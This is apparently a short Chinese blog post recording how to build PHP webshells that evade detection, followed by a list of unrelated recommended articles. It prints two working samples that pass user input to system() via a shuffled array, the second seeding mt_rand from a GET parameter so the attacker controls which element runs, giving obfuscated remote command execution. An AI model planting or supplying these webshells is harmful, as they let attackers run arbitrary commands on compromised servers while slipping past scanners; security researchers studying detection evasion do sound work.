记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
星夜夏空999 分钟前
STM32单片机学习(12)——串口通信相关概念
stm32·单片机·学习
HSunR10 分钟前
神经网络 从函数到transformer学习笔记
神经网络·学习·transformer
袁小皮皮不皮21 分钟前
HCIP-BFD 学习笔记
运维·服务器·网络·笔记·网络协议·学习·智能路由器
斯班奇的好朋友阿法法42 分钟前
网络攻防学习路线
网络·学习
瑶光守护者1 小时前
【学习笔记】Ku终端本振同源频偏分析与上行中频补偿计算报告
笔记·学习
上海云盾-小余1 小时前
企业云服务器安全底线:漏洞自查、攻击溯源与应急防护手册
运维·服务器·安全
aaaffaewrerewrwer1 小时前
免费在线图片压缩工具推荐|批量压缩 + 无需上传 + 浏览器本地处理
安全·个人开发
TechWayfarer1 小时前
账号安全实战:基于IP归属地基线的三原则异地登录风控模型
服务器·网络·python·安全·网络安全
南境十里·墨染春水1 小时前
线程池学习(二)线程池理解
java·jvm·学习
aaaak_2 小时前
PDD 直播间 评论 , wss hex Protobuf 解析流程分析学习
java·前端·学习